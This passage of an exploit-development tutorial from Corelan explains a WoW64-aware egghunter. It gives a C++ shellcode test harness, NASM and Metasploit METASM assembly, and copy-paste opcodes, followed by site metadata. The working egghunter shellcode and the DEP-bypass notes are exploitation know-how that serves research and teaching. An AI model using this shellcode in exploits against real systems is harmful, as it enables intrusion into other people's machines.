border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">#include &lt;cstdlib&gt;\n#include &lt;iostream&gt;\n#include &lt;windows.h&gt;\n\n<span style=\"color: #0000ff\">using<\/span> <span style=\"color: #0000ff\">namespace<\/span> std;\n\n<span style=\"color: #0000ff\">char<\/span> code[]=\n<span style=\"color: #008000\">\/\/ WOW64 Egghunter written by Lincoln<\/span>\n<span style=\"color: #008000\">\/\/ lincoln@corelan.be<\/span>\n<span style=\"color: #008000\">\/\/ 64 stub needed before loop<\/span>\n\"<span style=\"color: #8b0000\">\\x31\\xdb<\/span>\"                            <span style=\"color: #008000\">\/\/xor ebx,ebx<\/span>\n\"<span style=\"color: #8b0000\">\\x53<\/span>\"                                <span style=\"color: #008000\">\/\/push ebx<\/span>\n\"<span style=\"color: #8b0000\">\\x53<\/span>\"                                <span style=\"color: #008000\">\/\/push ebx<\/span>\n\"<span style=\"color: #8b0000\">\\x53<\/span>\"                                <span style=\"color: #008000\">\/\/push ebx<\/span>\n\"<span style=\"color: #8b0000\">\\x53<\/span>\"                                <span style=\"color: #008000\">\/\/push ebx<\/span>\n\"<span style=\"color: #8b0000\">\\xb3\\xc0<\/span>\"\t\t\t      <span style=\"color: #008000\">\/\/mov bl,0xc0<\/span>\n\n<span style=\"color: #008000\">\/\/ 64 Loop<\/span>\n\"<span style=\"color: #8b0000\">\\x66\\x81\\xCA\\xFF\\x0F<\/span>\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style=\"color: #008000\">\/\/OR DX,0FFF<\/span>\n\"<span style=\"color: #8b0000\">\\x42<\/span>\"                                 <span style=\"color: #008000\">\/\/INC EDX<\/span>\n\"<span style=\"color: #8b0000\">\\x52<\/span>\"                                 <span style=\"color: #008000\">\/\/PUSH EDX<\/span>\n\"<span style=\"color: #8b0000\">\\x6A\\x26<\/span>\"&nbsp;&nbsp; <span style=\"color: #008000\"> \/\/PUSH 26 <\/span>\n\"<span style=\"color: #8b0000\">\\x58<\/span>\"                                 <span style=\"color: #008000\">\/\/POP EAX<\/span>\n\"<span style=\"color: #8b0000\">\\x33\\xC9<\/span>\"&nbsp;&nbsp;&nbsp; <span style=\"color: #008000\"> \/\/XOR ECX,ECX<\/span>\n\"<span style=\"color: #8b0000\">\\x8B\\xD4<\/span>\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style=\"color: #008000\">\/\/MOV EDX,ESP<\/span>\n\"<span style=\"color: #8b0000\">\\x64\\xff\\x13<\/span>\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style=\"color: #008000\">\/\/CALL DWORD PTR FS:[ebx]<\/span>\n\"<span style=\"color: #8b0000\">\\x5e<\/span>\"                                 <span style=\"color: #008000\">\/\/POP ESI<\/span>\n\"<span style=\"color: #8b0000\">\\x5a<\/span>\"                                 <span style=\"color: #008000\">\/\/POP EDX<\/span>\n\"<span style=\"color: #8b0000\">\\x3C\\x05<\/span>\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style=\"color: #008000\">\/\/CMP AL,5<\/span>\n\"<span style=\"color: #8b0000\">\\x74\\xe9<\/span>\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style=\"color: #008000\">\/\/JE SHORT egg.0043F000<\/span>\n\"<span style=\"color: #8b0000\">\\xB8\\x77\\x30\\x30\\x74<\/span>\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style=\"color: #008000\">\/\/MOV EAX,74303077 w00t<\/span>\n\"<span style=\"color: #8b0000\">\\x8B\\xFA<\/span>\"                             <span style=\"color: #008000\">\/\/MOV EDI,EDX<\/span>\n\"<span style=\"color: #8b0000\">\\xAF<\/span>\"                                 <span style=\"color: #008000\">\/\/SCAS DWORD PTR ES:[EDI]<\/span>\n\"<span style=\"color: #8b0000\">\\x75\\xe4<\/span>\"                             <span style=\"color: #008000\">\/\/JNZ SHORT egg.0043F001<\/span>\n\"<span style=\"color: #8b0000\">\\xAF<\/span>\"                                 <span style=\"color: #008000\">\/\/SCAS DWORD PTR ES:[EDI]<\/span>\n\"<span style=\"color: #8b0000\">\\x75\\xe1<\/span>\"                             <span style=\"color: #008000\">\/\/JNZ SHORT 0043F001<\/span>\n\"<span style=\"color: #8b0000\">\\xFF\\xE7<\/span>\"                             <span style=\"color: #008000\">\/\/JMP EDI<\/span>\n\n<span style=\"color: #008000\">\/\/SC PAYLOAD<\/span>\n\"<span style=\"color: #8b0000\">\\xcc\\xcc\\xcc\\xcc\\x77\\x30\\x30\\x74<\/span>\"\n\"<span style=\"color: #8b0000\">\\x77\\x30\\x30\\x74\\xcc\\x41\\x42\\x43\\x44\\xcc<\/span>\";\n\n<span style=\"color: #0000ff\">int<\/span> main(<span style=\"color: #0000ff\">int<\/span> argc, <span style=\"color: #0000ff\">char<\/span> **argv)\n{\n  DWORD old;\n  VirtualProtect(&amp;code, 500, PAGE_EXECUTE_READWRITE, &amp;old);\n  <span style=\"color: #0000ff\">int<\/span> (*func)();\n  func = (<span style=\"color: #0000ff\">int<\/span> (*)()) code;\n  (<span style=\"color: #0000ff\">int<\/span>)(*func)();\n}<\/pre>\n<p>&nbsp;<\/p>\n<p>Perfect !<\/p>\n<p>But there is another issue.<\/p>\n<p>This Egghunter will only work on WoW64 systems.&nbsp; So if you don't know what OS your target is running, ideally you would need an egghunter that is generic and just works.<\/p>\n<p>To overcome that limitation I wrote an assembly routine to see if WoW64 is present and to use either that or the 32 bit Egghunter.&nbsp; In other words, you can use this Egghunter for 32bit processes running on native 32bit OS and within the WoW64 environment as well.<\/p>\n<p>Essentially since the code segment for \"are we running in WoW64\" is set to 23 in a WoW64 environment, we can work a check for that into our code to determine which Egghunter to use through a few compare statements.<\/p>\n<p>You can assemble the code below with NASM. Also just as an FYI you can XOR the EDX register if you want to speed up the 64bit search, during testing with WoW64 and when EDX contained a high value address, the hunter timed out or crashed. <br \/>In other words, this egghunter runs, but it will start searching at 0x1000 (if you have set edx to 0 first) and might time out\/crash at the end of userland memory.&nbsp; If it has found the shellcode before reaching the end, it will just work fine.<br \/>If you don't want this to happen, you may have to use a different register to clear and push 0 to the stack, and set EDX to the startlocation you want.<\/p>\n<p>Final code<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">[BITS 32]\n; Corelan Team\n; WOW64 Egghunter\n; written by Lincoln &lt;lincoln [at] corelan.be&nbsp; check:\n        MOV BX, CS    \t; see if cs:23 is running which is WoW64 is running\n        CMP BL, 0x23    ; unchanged during syscall, does not need to be in the loops\n        JNZ egg        \t; will jump to regular 32 bit egghunter if not detected, otherwise goes to wow64 stub below\n\nstub:\n        XOR EBX,EBX\t; clear stack params used by ebx to make sure when converted to 64 bit during syscall does not mess egghunter\n        PUSH EBX\t; push 0\n        PUSH EBX\t; push 0\n\tPUSH EBX\t; push 0\n\tPUSH EBX\t; push 0\n        MOV BL,0xc0     ; put call to TEB + 0x0C which is call to wow64cpu!X86SwitchTo64BitMode\n\negg:\n        OR DX,0x0FFF    ;generic egghunter\n        INC EDX\n        PUSH EDX\n        CMP BL, 0xC0    ; this should only be 0xc0 in wow64\n        JE egg_64\n\negg_32:\n        PUSH BYTE 2\n        POP EAX\n        INT 0x2E\n        POP EDX\n\negg_end:\n        CMP AL,5\t;generic egghunter\n        JE egg\n        MOV EAX, 0x74303077\n        MOV EDI,EDX\n        SCASD\n        JNZ  egg + 5\n        SCASD\n        JNZ egg + 5\n        JMP EDI\n\negg_64:\n        PUSH BYTE 38\t;call to auditandcheck in syswow (0x26)\n        POP EAX\n        XOR ECX,ECX\t\t;param\n        MOV EDX,ESP        \t;param\n        CALL DWORD [FS:EBX]\t;jmp far to 33:WoW64\n        POP ECX\n        POP EDX\n        JMP SHORT egg_end<\/pre>\n<p>The opcodes (copy\/paste friendly) for this egghunter looks like this:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #191919\">\"<span style=\"color: #8b0000\">\\x66\\x8c\\xcb\\x80\\xfb\\x23\\x75\\x08\\x31\\xdb\\x53\\x53\\x53\\x53\\xb3\\xc0<\/span>\"\n\"<span style=\"color: #8b0000\">\\x66\\x81\\xca\\xff\\x0f\\x42\\x52\\x80\\xfb\\xc0\\x74\\x19\\x6a\\x02\\x58\\xcd<\/span>\"\n\"<span style=\"color: #8b0000\">\\x2e\\x5a\\x3c\\x05\\x74\\xea\\xb8<\/span>\"\n\"<span style=\"color: #8b0000\">\\x77\\x30\\x30\\x74<\/span>\"  <span style=\"color: #008000\"># tag w00t<\/span>\n\"<span style=\"color: #8b0000\">\\x89\\xd7\\xaf\\x75\\xe5\\xaf\\x75\\xe2\\xff\\xe7\\x6a\\x26\\x58\\x31\\xc9\\x89<\/span>\"\n\"<span style=\"color: #8b0000\">\\xe2\\x64\\xff\\x13\\x5e\\x5a\\xeb\\xdf<\/span>\"<\/pre>\n<p>Or, in METASM (Metasploit friendly) :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">; Corelan Team\n; WOW64 Egghunter\n; written by Lincoln &lt;lincoln [at] corelan.be&gt;\n\negg_asm = %Q|\n\ncheck:\n        mov bx,cs\t; see if cs:23 is running which is WoW64 is running\n        cmp bl, 0x23    ; unchanged during syscall, does not need to be in the loops\n        jnz egg\t\t; will jump to regular 32 bit egghunter if not detected, otherwise goes to wow64 stub below \n\nstub:\n        xor ebx,ebx\t; clear stack params used by edx to make sure when converted to 64 bit during syscall does not mess egghunter\n        push ebx\t; push 0\n        push ebx\t; push 0\n\tpush ebx\t; push 0\n\tpush ebx\t; push 0\n        mov bl,0xc0     ; put call to teb + 0x0c which is call to wow64cpu!x86switchto64bitmode\n\negg:\n        or dx,0x0fff\t; generic egghunter\n        inc edx\n        push edx\n        cmp bl, 0xc0    ; unchanged during syscall, jmp to wow64 egghunter or continue to regular egghunter\n\t\t\t; to regular egghunter\n        je egg_64\n\negg_32:\n        push 0x2\n        pop eax\n\tint 0x2e\n\tpop edx\n\negg_end:\n        cmp al,0x5\t\t;generic egghunter\n        je egg\n        mov eax, 0x74303077\n        mov edi,edx\n        scasd\n        jnz  egg + 5\n        scasd\n        jnz egg + 5\n        jmp edi\n\negg_64:\n        push 0x38\t\t;call to auditandcheck in syswow\n        pop eax\n        xor ecx,ecx\t\t;param\n        mov edx,esp\t\t;param\n        call dword [fs:ebx]\t;jmp far to 33:WoW64\n        pop ecx\n        pop edx\n        jmp egg_end\n|\n\negg = Metasm::Shellcode.assemble(Metasm::Ia32.<span style=\"color: #0000ff\">new<\/span>, egg_asm).encode_string<\/pre>\n<p>&nbsp;<\/p>\n<p>When compiled it comes out to 67 bytes. Not ideal, but still smaller than a staged payload and this is completely universal. However we may still have one problem. DEP!<\/p>\n<h3>DEP<\/h3>\n<p>As you can read <a href=\"https:\/\/www.corelan.be\/index.php\/2011\/05\/12\/hack-notes-ropping-eggs-for-breakfast\/\">here<\/a>, if DEP is enabled, we still need to call Virtual Protect or VirtualAlloc (or another bypass DEP function) to turn of DEP for the discovered shellcode. The technique implemented in msf and explained in our previous post, requires one of the registers to contain the pointer to for example virtualprotect and virtualalloc, so it can be resued to mark the found shellcode as executable prior to jumping to it.<\/p>\n<p>Since EBP is unchanged in the routine above, we can use that register to hold the pointer to the function we need to call after the Egghunter has found our shellcode, and before jumping to it.<\/p>\n<p>&nbsp;<\/p>\n<h3>Windows 8 Update<\/h3>\n<p>Previously I wrote this article in 2011 before Windows 8 was released, however it appears this egghunter will no longer work starting on Windows 8. The system calls are now different in Windows 8 from Windows 7, and differ again in Windows 8 SP1. It appears all the system calls have been&nbsp; either incremented by 1 or changed completely different.<br \/>&nbsp;<br \/>We could probably write another stub to find out which environment we are in, but then that increases the size of the shellcode. Perhaps it is time to explore a different technique that we can use to make it more universal for modern operating systems.<\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: medium\">Room for improvement?<\/span><\/h3>\n<p>Always! If you can find a way to make it smaller\/better\/faster, let us know.&nbsp; We might work on getting this merged into the metasploit egghunter too... We'll see.<\/p>\n<p>Don't hesitate to drop me a note<\/p>\n<p>-Lincoln&nbsp;&nbsp; (lincoln [at] corelan {dot} be&nbsp; or <a href=\"https:\/\/twitter.com\/Lincoln_corelan\">Twitter<\/a>)<\/p>\n<h3>Thanks<\/h3>\n<ul>\n<li>Corelan Team<\/li>\n<li>Wife<\/li>\n<li>Resources off Google<\/li>\n<li>@tekwizz123 (thank you for spot check)<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<hr>\n","protected":false},"excerpt":{"rendered":"<p>Traditional Egghunter An Egghunter is nothing more than an assembly routine to find shellcode somewhere in memory. We typically deploy an Egghunter when there is no more room in our buffer that we can use to initially redirect EIP to. If we are able to load our shellcode elsewhere in process memory, the Egghunter will &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"WoW64 Egghunter\"<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[244,127,1],"tags":[3732,2911,2786,1853,1834,1824],"class_list":["post-7723","post","type-post","status-publish","format-standard","hentry","category-exploit-writing-tutorials","category-security","category-uncategorized","tag-heap-exploitation","tag-wow64","tag-egghunter","tag-dep","tag-shellcode","tag-metasploit"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>WoW64 Egghunter - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"WoW64 Egghunter - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"Traditional Egghunter An Egghunter is nothing more than an assembly routine to find shellcode somewhere in memory. We typically deploy an Egghunter when there is no more room in our buffer that we can use to initially redirect EIP to. If we are able to load our shellcode elsewhere in process memory, the Egghunter will &hellip; Continue reading &quot;WoW64 Egghunter&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2011-11-18T11:04:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics14_thumb1.png\" \/>\n<meta name=\"author\" content=\"Corelan Team (Lincoln)\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/\"},\"author\":{\"name\":\"Corelan Team (Lincoln)\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/9605d0b07558c7917f492a508df12932\"},\"headline\":\"WoW64 Egghunter\",\"datePublished\":\"2011-11-18T11:04:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/\"},\"wordCount\":3236,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2011\\\/11\\\/morepics14_thumb1.png\",\"keywords\":[\"heap exploitation\",\"wow64\",\"egghunter\",\"dep\",\"shellcode\",\"metasploit\"],\"articleSection\":[\"Exploit Writing Tutorials\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/\",\"name\":\"WoW64 Egghunter - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2011\\\/11\\\/morepics14_thumb1.png\",\"datePublished\":\"2011-11-18T11:04:00+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2011\\\/11\\\/morepics14_thumb1.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2011\\\/11\\\/morepics14_thumb1.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/11\\\/18\\\/wow64-egghunter\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"WoW64 Egghunter\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/9605d0b07558c7917f492a508df12932\",\"name\":\"Corelan Team (Lincoln)\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x\",\"caption\":\"Corelan Team (Lincoln)\"},\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/lincoln\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"WoW64 Egghunter - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/","og_locale":"en_US","og_type":"article","og_title":"WoW64 Egghunter - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"Traditional Egghunter An Egghunter is nothing more than an assembly routine to find shellcode somewhere in memory. We typically deploy an Egghunter when there is no more room in our buffer that we can use to initially redirect EIP to. If we are able to load our shellcode elsewhere in process memory, the Egghunter will &hellip; Continue reading \"WoW64 Egghunter\"","og_url":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2011-11-18T11:04:00+00:00","og_image":[{"url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics14_thumb1.png","type":"","width":"","height":""}],"author":"Corelan Team (Lincoln)","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/"},"author":{"name":"Corelan Team (Lincoln)","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/9605d0b07558c7917f492a508df12932"},"headline":"WoW64 Egghunter","datePublished":"2011-11-18T11:04:00+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/"},"wordCount":3236,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics14_thumb1.png","keywords":["heap exploitation","wow64","egghunter","dep","shellcode","metasploit"],"articleSection":["Exploit Writing Tutorials","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/","url":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/","name":"WoW64 Egghunter - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics14_thumb1.png","datePublished":"2011-11-18T11:04:00+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/#primaryimage","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics14_thumb1.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/morepics14_thumb1.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2011\/11\/18\/wow64-egghunter\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"WoW64 Egghunter"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/9605d0b07558c7917f492a508df12932","name":"Corelan Team (Lincoln)","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x","caption":"Corelan Team 